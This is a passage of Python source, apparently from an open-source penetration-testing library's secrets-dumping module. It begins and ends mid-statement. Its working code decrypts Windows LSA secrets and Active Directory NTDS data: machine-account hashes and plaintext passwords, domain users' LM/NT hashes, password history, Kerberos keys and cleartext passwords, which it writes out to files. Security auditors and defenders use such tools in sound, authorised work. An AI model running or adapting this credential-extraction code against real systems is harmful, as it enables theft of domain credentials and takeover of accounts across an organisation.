hexlify(dpapi['MachineKey']).decode('latin-1'),\n                                                               hexlify(dpapi['UserKey']).decode('latin-1'))\n        elif upperName.startswith('$MACHINE.ACC'):\n            # compute MD4 of the secret.. yes.. that is the nthash? :-o\n            md4 = MD4.new()\n            md4.update(secretItem)\n            machine = None\n            domain = None\n            if hasattr(self.__remoteOps, 'getMachineNameAndDomain'):\n                machine, domain = self.__remoteOps.getMachineNameAndDomain()\n            if not machine or not domain:\n                # Offline mode: try to get domain/machine from SECURITY hive\n                salt = self.__getMachineKerberosSaltOffline()\n                if salt != b'':\n                    # Parse salt format: {REALM}host{hostname.fqdn}\n                    salt_str = salt.decode('utf-8')\n                    host_idx = salt_str.find('host')\n                    if host_idx > 0:\n                        realm = salt_str[:host_idx]\n                        fqdn = salt_str[host_idx + 4:]\n                        domain = realm.split('.')[0] if '.' in realm else realm\n                        machine = fqdn.split('.')[0].upper() if '.' in fqdn else fqdn.upper()\n            if machine and domain:\n                printname = \"%s\\\\%s$\" % (domain, machine)\n                secret = \"%s\\\\%s$:%s:%s:::\" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),\n                                               hexlify(md4.digest()).decode('utf-8'))\n            else:\n                printname = \"$MACHINE.ACC\"\n                secret = \"$MACHINE.ACC: %s:%s\" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),\n                                                  hexlify(md4.digest()).decode('utf-8'))\n            # Attempt to calculate and print Kerberos keys\n            if not self.__printMachineKerberos(secretItem, printname):\n                LOG.debug('Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)')\n            # Always print plaintext anyway since this may be needed for some popular usecases\n            extrasecret = \"%s:plain_password_hex:%s\" % (printname, hexlify(secretItem).decode('utf-8'))\n            self.__secretItems.append(extrasecret)\n            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)\n        elif re.match(r'^L\\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None:\n            # Decode stored security questions\n            sid = re.search(r'^L\\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1)\n            try:\n                strDecoded = secretItem.decode('utf-16le').replace('\\xa0',' ')\n                strDecoded = json.loads(strDecoded)\n            except:\n                pass\n            else:\n                output = []\n                if strDecoded['version'] == 1:\n                    output.append(\" - Version : %d\" % strDecoded['version'])\n                    for qk in strDecoded['questions']:\n                        output.append(\" | Question: %s\" % qk['question'])\n                        output.append(\" | |--> Answer: %s\" % qk['answer'])\n                    output = '\\n'.join(output)\n                    secret = 'Security Questions for user %s: \\n%s' % (sid, output)\n                else:\n                    LOG.warning(\"Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it.\" % str(strDecoded['version']))\n                    LOG.warning(\"Don't forget to remove sensitive content before sending the data in a Github issue.\")\n                    secret = json.dumps(strDecoded, indent=4)\n\n        if secret != '':\n            printableSecret = secret\n            self.__secretItems.append(secret)\n            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)\n        else:\n            # Default print, hexdump\n            printableSecret  = '%s:%s' % (name, hexlify(secretItem).decode('utf-8'))\n            self.__secretItems.append(printableSecret)\n            # If we're using the default callback (ourselves), we print the hex representation. If not, the\n            # user will need to decide what to do.\n            if self.__module__ == self.__perSecretCallback.__module__:\n                hexdump(secretItem)\n            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret)\n\n    def __getMachineKerberosSaltOffline(self):\n        \"\"\"Compute Kerberos salt from SECURITY hive Policy values (offline mode).\n        Reads PolDnDDN (domain FQDN) and PolAcDmN (machine name) which are stored\n        as LSA_UNICODE_STRING structures.\"\"\"\n        try:\n            dnDdnValue = self.getValue('\\\\Policy\\\\PolDnDDN\\\\default')\n            acDmNValue = self.getValue('\\\\Policy\\\\PolAcDmN\\\\default')\n            if dnDdnValue is None or acDmNValue is None:\n                return b''\n\n            # LSA_UNICODE_STRING: USHORT Length, USHORT MaxLength, ULONG Padding, then UTF-16LE data\n            def decode_lsa_unicode(raw):\n                if len(raw) < 8:\n                    return ''\n                length = unpack('<H', raw[:2])[0]\n                return raw[8:8 + length].decode('utf-16-le').rstrip('\\x00')\n\n            domain = decode_lsa_unicode(dnDdnValue[1])\n            machine = decode_lsa_unicode(acDmNValue[1])\n            if not domain or not machine:\n                return b''\n\n            host = machine.lower().rstrip('$')\n            salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.encode('utf-8'), domain.lower().encode('utf-8'))\n            return salt\n        except Exception:\n            LOG.debug('Exception computing offline Kerberos salt', exc_info=True)\n            return b''\n\n    def __printMachineKerberos(self, rawsecret, machinename):\n        # Attempt to create Kerberos keys from machine account (if possible)\n        salt = b''\n        if hasattr(self.__remoteOps, 'getMachineKerberosSalt'):\n            salt = self.__remoteOps.getMachineKerberosSalt()\n        if salt == b'':\n            # Offline mode: derive salt from SECURITY hive registry values\n            salt = self.__getMachineKerberosSaltOffline()\n        if salt == b'':\n            return False\n\n        allciphers = [\n            int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),\n            int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),\n            int(constants.EncryptionTypes.des_cbc_md5.value)\n        ]\n        # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount\n        # of invalid unicode characters.\n        # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft\n        # implicitly replaces those when converting utf-16 to utf-8.\n        # When we use the same method we get the valid password -> key mapping :)\n        rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')\n        for etype in allciphers:\n            try:\n                key = string_to_key(etype, rawsecret, salt, None)\n            except Exception:\n                LOG.debug('Exception', exc_info=True)\n                raise\n            typename = NTDSHashes.KERBEROS_TYPE[etype]\n            secret = \"%s:%s:%s\" % (machinename, typename, hexlify(key.contents).decode('utf-8'))\n            self.__secretItems.append(secret)\n            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret)\n        return True\n\n    def dumpSecrets(self):\n        if self.__securityFile is None:\n            # No SECURITY file provided\n            return\n\n        LOG.info('Dumping LSA Secrets')\n\n        # Let's first see if there are cached entries\n        keys = self.enumKey('\\\\Policy\\\\Secrets')\n        if keys is None:\n            # No entries\n            return\n        try:\n            # Remove unnecessary value\n            keys.remove(b'NL$Control')\n        except:\n            pass\n\n        if self.__LSAKey == b'':\n            self.__getLSASecretKey()\n\n        for key in keys:\n            LOG.debug('Looking into %s' % key)\n            valueTypeList = ['CurrVal']\n            # Check if old LSA secrets values are also need to be shown\n            if self.__history:\n                valueTypeList.append('OldVal')\n\n            for valueType in valueTypeList:\n                value = self.getValue('\\\\Policy\\\\Secrets\\\\{}\\\\{}\\\\default'.format(key,valueType))\n                if value is not None and value[1] != 0:\n                    if self.__vistaStyle is True:\n                        record = LSA_SECRET(value[1])\n                        tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])\n                        plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])\n                        record = LSA_SECRET_BLOB(plainText)\n                        secret = record['Secret']\n                    else:\n                        secret = self.__decryptSecret(self.__LSAKey, value[1])\n\n                    # If this is an OldVal secret, let's append '_history' to be able to distinguish it and\n                    # also be consistent with NTDS history\n                    if valueType == 'OldVal':\n                        key += '_history'\n                    self.__printSecret(key, secret)\n\n    def exportSecrets(self, baseFileName, openFileFunc = None):\n        if len(self.__secretItems) > 0:\n            fileName = baseFileName+'.secrets'\n            fd = openFile(fileName, openFileFunc=openFileFunc)\n            for item in self.__secretItems:\n                fd.write(item+'\\n')\n            fd.close()\n            return fileName\n\n    def exportCached(self, baseFileName, openFileFunc = None):\n        if len(self.__cachedItems) > 0:\n            fileName = baseFileName+'.cached'\n            fd = openFile(fileName, openFileFunc=openFileFunc)\n            for item in self.__cachedItems:\n                fd.write(item+'\\n')\n            fd.close()\n            return fileName\n\n\nclass ResumeSessionMgrInFile(object):\n    def __init__(self, resumeFileName=None):\n        self.__resumeFileName = resumeFileName\n        self.__resumeFile = None\n        self.__hasResumeData = resumeFileName is not None\n\n    def hasResumeData(self):\n        return self.__hasResumeData\n\n    def clearResumeData(self):\n        self.endTransaction()\n        if self.__resumeFileName and os.path.isfile(self.__resumeFileName):\n            os.remove(self.__resumeFileName)\n\n    def writeResumeData(self, data):\n        # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that\n        self.__resumeFile.seek(0, 0)\n        self.__resumeFile.truncate(0)\n        self.__resumeFile.write(data.encode())\n        self.__resumeFile.flush()\n\n    def getResumeData(self):\n        try:\n            self.__resumeFile = open(self.__resumeFileName,'rb')\n        except Exception as e:\n            raise Exception('Cannot open resume session file name %s' % str(e))\n        resumeSid = self.__resumeFile.read()\n        self.__resumeFile.close()\n        # Truncate and reopen the file as wb+\n        self.__resumeFile = open(self.__resumeFileName,'wb+')\n        return resumeSid.decode('utf-8')\n\n    def getFileName(self):\n        return self.__resumeFileName\n\n    def beginTransaction(self):\n        if not self.__resumeFileName:\n            self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8))\n            LOG.debug('Session resume file will be %s' % self.__resumeFileName)\n        if not self.__resumeFile:\n            try:\n                self.__resumeFile = open(self.__resumeFileName, 'wb+')\n            except Exception as e:\n                raise Exception('Cannot create \"%s\" resume session file: %s' % (self.__resumeFileName, str(e)))\n\n    def endTransaction(self):\n        if self.__resumeFile:\n            self.__resumeFile.close()\n            self.__resumeFile = None\n\n\nclass NTDSHashes:\n    class SECRET_TYPE:\n        NTDS = 0\n        NTDS_CLEARTEXT = 1\n        NTDS_KERBEROS = 2\n\n    NAME_TO_INTERNAL = {\n        'uSNCreated':b'ATTq131091',\n        'uSNChanged':b'ATTq131192',\n        'name':b'ATTm3',\n        'objectGUID':b'ATTk589826',\n        'objectSid':b'ATTr589970',\n        'userAccountControl':b'ATTj589832',\n        'primaryGroupID':b'ATTj589922',\n        'accountExpires':b'ATTq589983',\n        'logonCount':b'ATTj589993',\n        'sAMAccountName':b'ATTm590045',\n        'sAMAccountType':b'ATTj590126',\n        'lastLogonTimestamp':b'ATTq589876',\n        'userPrincipalName':b'ATTm590480',\n        'unicodePwd':b'ATTk589914',\n        'dBCSPwd':b'ATTk589879',\n        'ntPwdHistory':b'ATTk589918',\n        'lmPwdHistory':b'ATTk589984',\n        'pekList':b'ATTk590689',\n        'supplementalCredentials':b'ATTk589949',\n        'pwdLastSet':b'ATTq589920',\n        'instanceType':b'ATTj131073',\n    }\n\n    NAME_TO_ATTRTYP = {\n        'userPrincipalName': 0x90290,\n        'sAMAccountName': 0x900DD,\n        'unicodePwd': 0x9005A,\n        'dBCSPwd': 0x90037,\n        'ntPwdHistory': 0x9005E,\n        'lmPwdHistory': 0x900A0,\n        'supplementalCredentials': 0x9007D,\n        'objectSid': 0x90092,\n        'userAccountControl':0x90008,\n    }\n\n    ATTRTYP_TO_ATTID = {\n        'userPrincipalName': '1.2.840.113556.1.4.656',\n        'sAMAccountName': '1.2.840.113556.1.4.221',\n        'unicodePwd': '1.2.840.113556.1.4.90',\n        'dBCSPwd': '1.2.840.113556.1.4.55',\n        'ntPwdHistory': '1.2.840.113556.1.4.94',\n        'lmPwdHistory': '1.2.840.113556.1.4.160',\n        'supplementalCredentials': '1.2.840.113556.1.4.125',\n        'objectSid': '1.2.840.113556.1.4.146',\n        'pwdLastSet': '1.2.840.113556.1.4.96',\n        'userAccountControl':'1.2.840.113556.1.4.8',\n    }\n\n    KERBEROS_TYPE = {\n        1:'dec-cbc-crc',\n        3:'des-cbc-md5',\n        17:'aes128-cts-hmac-sha1-96',\n        18:'aes256-cts-hmac-sha1-96',\n        0xffffff74:'rc4_hmac',\n    }\n\n    INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items())\n\n    SAM_NORMAL_USER_ACCOUNT = 0x30000000\n    SAM_MACHINE_ACCOUNT     = 0x30000001\n    SAM_TRUST_ACCOUNT       = 0x30000002\n\n    ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)\n\n    class PEKLIST_ENC(Structure):\n        structure = (\n            ('Header','8s=b\"\"'),\n            ('KeyMaterial','16s=b\"\"'),\n            ('EncryptedPek',':'),\n        )\n\n    class PEKLIST_PLAIN(Structure):\n        structure = (\n            ('Header','32s=b\"\"'),\n            ('DecryptedPek',':'),\n        )\n\n    class PEK_KEY(Structure):\n        structure = (\n            ('Header','1s=b\"\"'),\n            ('Padding','3s=b\"\"'),\n            ('Key','16s=b\"\"'),\n        )\n\n    class CRYPTED_HASH(Structure):\n        structure = (\n            ('Header','8s=b\"\"'),\n            ('KeyMaterial','16s=b\"\"'),\n            ('EncryptedHash','16s=b\"\"'),\n        )\n\n    class CRYPTED_HASHW16(Structure):\n        structure = (\n            ('Header','8s=b\"\"'),\n            ('KeyMaterial','16s=b\"\"'),\n            ('Unknown','<L=0'),\n            ('EncryptedHash', ':'),\n        )\n\n    class CRYPTED_HISTORY(Structure):\n        structure = (\n            ('Header','8s=b\"\"'),\n            ('KeyMaterial','16s=b\"\"'),\n            ('EncryptedHash',':'),\n        )\n\n    class CRYPTED_BLOB(Structure):\n        structure = (\n            ('Header','8s=b\"\"'),\n            ('KeyMaterial','16s=b\"\"'),\n            ('EncryptedHash',':'),\n        )\n\n    def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,\n                 useVSSMethod=False, remoteSSMethodWMINTDS=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,\n                 justUser=None, skipUser=None,ldapFilter=None, printUserStatus=False,\n                 perSecretCallback = lambda secretType, secret : _print_helper(secret),\n                 resumeSessionMgr=ResumeSessionMgrInFile):\n        self.__bootKey = bootKey\n        self.__NTDS = ntdsFile\n        self.__history = history\n        self.__noLMHash = noLMHash\n        self.__useVSSMethod = useVSSMethod\n        self.__remoteSSMethodWMINTDS = remoteSSMethodWMINTDS\n        self.__remoteOps = remoteOps\n        self.__pwdLastSet = pwdLastSet\n        self.__printUserStatus = printUserStatus\n        if self.__NTDS is not None:\n            self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)\n            self.__cursor = self.__ESEDB.openTable('datatable')\n        self.__tmpUsers = list()\n        self.__PEK = list()\n        self.__cryptoCommon = CryptoCommon()\n        self.__kerberosKeys = OrderedDict()\n        self.__clearTextPwds = OrderedDict()\n        self.__justNTLM = justNTLM\n        self.__resumeSession = resumeSessionMgr(resumeSession)\n        self.__outputFileName = outputFileName\n        self.__justUser = justUser\n        self.__ldapFilter = ldapFilter\n        self.__skipUser = skipUser\n        self.__perSecretCallback = perSecretCallback\n\n\t\t# these are all the columns that we need to get the secrets.\n\t\t# If in the future someone finds other columns containing interesting things please extend ths table.\n        self.__filter_tables_usersecret = {\n            self.NAME_TO_INTERNAL['objectSid'] : 1,\n            self.NAME_TO_INTERNAL['dBCSPwd'] : 1,\n            self.NAME_TO_INTERNAL['name'] : 1,\n            self.NAME_TO_INTERNAL['sAMAccountType'] : 1,\n            self.NAME_TO_INTERNAL['unicodePwd'] : 1,\n            self.NAME_TO_INTERNAL['sAMAccountName'] : 1,\n            self.NAME_TO_INTERNAL['userPrincipalName'] : 1,\n            self.NAME_TO_INTERNAL['ntPwdHistory'] : 1,\n            self.NAME_TO_INTERNAL['lmPwdHistory'] : 1,\n            self.NAME_TO_INTERNAL['pwdLastSet'] : 1,\n            self.NAME_TO_INTERNAL['userAccountControl'] : 1,\n            self.NAME_TO_INTERNAL['supplementalCredentials'] : 1,\n            self.NAME_TO_INTERNAL['pekList'] : 1,\n            self.NAME_TO_INTERNAL['instanceType'] : 1,\n\n        }\n\n    def getResumeSessionFile(self):\n        return self.__resumeSession.getFileName()\n\n    def __getPek(self):\n        LOG.info('Searching for pekList, be patient')\n        peklist = None\n        while True:\n            try:\n                record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret)\n            except:\n                LOG.error('Error while calling getNextRow(), trying the next one')\n                continue\n\n            if record is None:\n                break\n            elif record[self.NAME_TO_INTERNAL['pekList']] is not None:\n                peklist =  unhexlify(record[self.NAME_TO_INTERNAL['pekList']])\n                break\n            elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES and record[self.NAME_TO_INTERNAL['instanceType']] & 4:    # \"The object is writable on this directory\":\n                # Okey.. we found some users, but we're not yet ready to process them.\n                # Let's just store them in a temp list\n                self.__tmpUsers.append(record)\n\n        if peklist is not None:\n            encryptedPekList = self.PEKLIST_ENC(peklist)\n            if encryptedPekList['Header'][:4] == b'\\x02\\x00\\x00\\x00':\n                # Up to Windows 2012 R2 looks like header starts this way\n                md5 = hashlib.new('md5')\n                md5.update(self.__bootKey)\n                for i in range(1000):\n                    md5.update(encryptedPekList['KeyMaterial'])\n                tmpKey = md5.digest()\n                rc4 = ARC4.new(tmpKey)\n                decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))\n                PEKLen = len(self.PEK_KEY())\n                for i in range(len( decryptedPekList['DecryptedPek'] ) // PEKLen ):\n                    cursor = i * PEKLen\n                    pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])\n                    LOG.info(\"PEK # %d found and decrypted: %s\", i, hexlify(pek['Key']).decode('utf-8'))\n                    self.__PEK.append(pek['Key'])\n\n            elif encryptedPekList['Header'][:4] == b'\\x03\\x00\\x00\\x00':\n                # Windows 2016 TP4 header starts this way\n                # Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.\n                # using AES:\n                # Key: the bootKey\n                # CipherText: PEKLIST_ENC['EncryptedPek']\n                # IV: PEKLIST_ENC['KeyMaterial']\n                decryptedPekList = self.PEKLIST_PLAIN(\n                    self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'],\n                                                   encryptedPekList['KeyMaterial']))\n\n                # PEK list entries take the form:\n                #   index (4 byte LE int), PEK (16 byte key)\n                # the entries are in ascending order, and the list is terminated\n                # by an entry with a non-sequential index (08080808 observed)\n                pos, cur_index = 0, 0\n                while True:\n                    pek_entry = decryptedPekList['DecryptedPek'][pos:pos+20]\n                    if len(pek_entry) < 20: break # if list truncated, should not happen\n                    index, pek = unpack('<L16s', pek_entry)\n                    if index != cur_index: break # break on non-sequential index\n                    self.__PEK.append(pek)\n                    LOG.info(\"PEK # %d found and decrypted: %s\", index, hexlify(pek).decode('utf-8'))\n                    cur_index += 1\n                    pos += 20\n\n    def __removeRC4Layer(self, cryptedHash):\n        md5 = hashlib.new('md5')\n        # PEK index can be found on header of each ciphered blob (pos 8-10)\n        pekIndex = hexlify(cryptedHash['Header'])\n        md5.update(self.__PEK[int(pekIndex[8:10])])\n        md5.update(cryptedHash['KeyMaterial'])\n        tmpKey = md5.digest()\n        rc4 = ARC4.new(tmpKey)\n        plainText = rc4.encrypt(cryptedHash['EncryptedHash'])\n\n        return plainText\n\n    def __removeDESLayer(self, cryptedHash, rid):\n        Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))\n\n        Crypt1 = DES.new(Key1, DES.MODE_ECB)\n        Crypt2 = DES.new(Key2, DES.MODE_ECB)\n\n        decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])\n\n        return decryptedHash\n\n    @staticmethod\n    def __fileTimeToDateTime(t):\n        t -= 116444736000000000\n        t //= 10000000\n        if t < 0:\n            return 'never'\n        else:\n            dt = datetime.fromtimestamp(t)\n            return dt.strftime(\"%Y-%m-%d %H:%M\")\n\n    def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):\n        # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures\n        haveInfo = False\n        LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo')\n        if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:\n            if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:\n                if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:\n                    if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:\n                        domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]\n                        userName = '%s\\\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])\n                    else:\n                        userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]\n                    cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))\n\n                    if cipherText['Header'][:4] == b'\\x13\\x00\\x00\\x00':\n                        # Win2016 TP4 decryption is different\n                        pekIndex = hexlify(cipherText['Header'])\n                        plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],\n                                                                   cipherText['EncryptedHash'][4:],\n                                                                   cipherText['KeyMaterial'])\n                        haveInfo = True\n                    else:\n                        plainText = self.__removeRC4Layer(cipherText)\n                        haveInfo = True\n        else:\n            domain = None\n            userName = None\n            replyVersion = 'V%d' % record['pdwOutVersion']\n            for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:\n                try:\n                    attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])\n                    LOOKUP_TABLE = self.ATTRTYP_TO_ATTID\n                except Exception as e:\n                    LOG.debug('Failed to execute OidFromAttid with error %s' % e)\n                    LOG.debug('Exception', exc_info=True)\n                    # Fallbacking to fixed table and hope for the best\n                    attId = attr['attrTyp']\n                    LOOKUP_TABLE = self.NAME_TO_ATTRTYP\n\n                if attId == LOOKUP_TABLE['userPrincipalName']:\n                    if attr['AttrVal']['valCount'] > 0:\n                        try:\n                            domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]\n                        except:\n                            domain = None\n                    else:\n                        domain = None\n                elif attId == LOOKUP_TABLE['sAMAccountName']:\n                    if attr['AttrVal']['valCount'] > 0:\n                        try:\n                            userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')\n                        except:\n                            LOG.error(\n                                'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])\n                            userName = 'unknown'\n                    else:\n                        LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])\n                        userName = 'unknown'\n                if attId == LOOKUP_TABLE['supplementalCredentials']:\n                    if attr['AttrVal']['valCount'] > 0:\n                        blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])\n                        plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)\n                        if len(plainText) > 24:\n                            haveInfo = True\n            if domain is not None:\n                userName = '%s\\\\%s' % (domain, userName)\n\n        if haveInfo is True:\n            try:\n                userProperties = samr.USER_PROPERTIES(plainText)\n            except:\n                # On some old w2k3 there might be user properties that don't\n                # match [MS-SAMR] structure, discarding them\n                return\n            propertiesData = userProperties['UserProperties']\n            for propertyCount in range(userProperties['PropertyCount']):\n                userProperty = samr.USER_PROPERTY(propertiesData)\n                propertiesData = propertiesData[len(userProperty):]\n                # For now, we will only process Newer Kerberos Keys and CLEARTEXT\n                if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':\n                    propertyValueBuffer = unhexlify(userProperty['PropertyValue'])\n                    kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)\n                    data = kerbStoredCredentialNew['Buffer']\n                    for credential in range(kerbStoredCredentialNew['CredentialCount']):\n                        keyDataNew = samr.KERB_KEY_DATA_NEW(data)\n                        data = data[len(keyDataNew):]\n                        keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]\n\n                        if  keyDataNew['KeyType'] in self.KERBEROS_TYPE:\n                            answer =  \"%s:%s:%s\" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8'))\n                        else:\n                            answer =  \"%s:%s:%s\" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8'))\n                        # We're just storing the keys, not printing them, to make the output more readable\n                        # This is kind of ugly... but it's what I came up with tonight to get an ordered\n                        # set :P. Better ideas welcomed ;)\n                        self.__kerberosKeys[answer] = None\n                        if keysFile is not None:\n                            self.__writeOutput(keysFile, answer + '\\n')\n                elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':\n                    # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property\n                    # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.\n                    try:\n                        answer = \"%s:CLEARTEXT:%s\" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))\n                    except UnicodeDecodeError:\n                        # This could be because we're decoding a machine password. Printing it hex\n                        answer = \"%s:CLEARTEXT:0x%s\" % (userName, userProperty['PropertyValue'].decode('utf-8'))\n\n                    self.__clearTextPwds[answer] = None\n                    if clearTextFile is not None:\n                        self.__writeOutput(clearTextFile, answer + '\\n')\n\n            if clearTextFile is not None:\n                clearTextFile.flush()\n            if keysFile is not None:\n                keysFile.flush()\n\n        LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo')\n\n    def __decryptHash(self, record, prefixTable=None, outputFile=None):\n        LOG.debug('Entering NTDSHashes.__decryptHash')\n        if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:\n            LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])\n\n            sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))\n            rid = sid.formatCanonical().split('-')[-1]\n\n            if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:\n                encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))\n                if encryptedLMHash['Header'][:4] == b'\\x13\\x00\\x00\\x00':\n                    # Win2016 TP4 decryption is different\n                    encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))\n                    pekIndex = hexlify(encryptedLMHash['Header'])\n                    tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],\n                                                               encryptedLMHash['EncryptedHash'][:16],\n                                                               encryptedLMHash['KeyMaterial'])\n                else:\n                    tmpLMHash = self.__removeRC4Layer(encryptedLMHash)\n                LMHash = self.__removeDESLayer(tmpLMHash, rid)\n            else:\n                LMHash = ntlm.LMOWFv1('', '')\n\n            if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:\n                encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))\n                if encryptedNTHash['Header'][:4] == b'\\x13\\x00\\x00\\x00':\n                    # Win2016 TP4 decryption is different\n                    encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))\n                    pekIndex = hexlify(encryptedNTHash['Header'])\n                    tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],\n                                                               encryptedNTHash['EncryptedHash'][:16],\n                                                               encryptedNTHash['KeyMaterial'])\n                else:\n                    tmpNTHash = self.__removeRC4Layer(encryptedNTHash)\n                NTHash = self.__removeDESLayer(tmpNTHash, rid)\n            else:\n                NTHash = ntlm.NTOWFv1('', '')\n\n            if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:\n                domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]\n                userName = '%s\\\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])\n            else:\n                userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]\n\n            if self.__printUserStatus is True:\n                # Enabled / disabled users\n                if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None:\n                    if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1':\n                        userAccountStatus = 'Disabled'\n                    elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0':\n                        userAccountStatus = 'Enabled'\n                else:\n                    userAccountStatus = 'N/A'\n\n            if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:\n                pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])\n            else:\n                pwdLastSet = 'N/A'\n\n            answer = \"%s:%s:%s:%s:::\" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))\n            if self.__pwdLastSet is True:\n                answer = \"%s (pwdLastSet=%s)\" % (answer, pwdLastSet)\n            if self.__printUserStatus is True:\n                answer = \"%s (status=%s)\" % (answer, userAccountStatus)\n\n            self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)\n\n            if outputFile is not None:\n                self.__writeOutput(outputFile, answer + '\\n')\n\n            if self.__history:\n                LMHistory = []\n                NTHistory = []\n                if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:\n                    encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))\n                    tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)\n                    for i in range(0, len(tmpLMHistory) // 16):\n                        LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)\n                        LMHistory.append(LMHash)\n\n                if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:\n                    encryptedNTHistory = 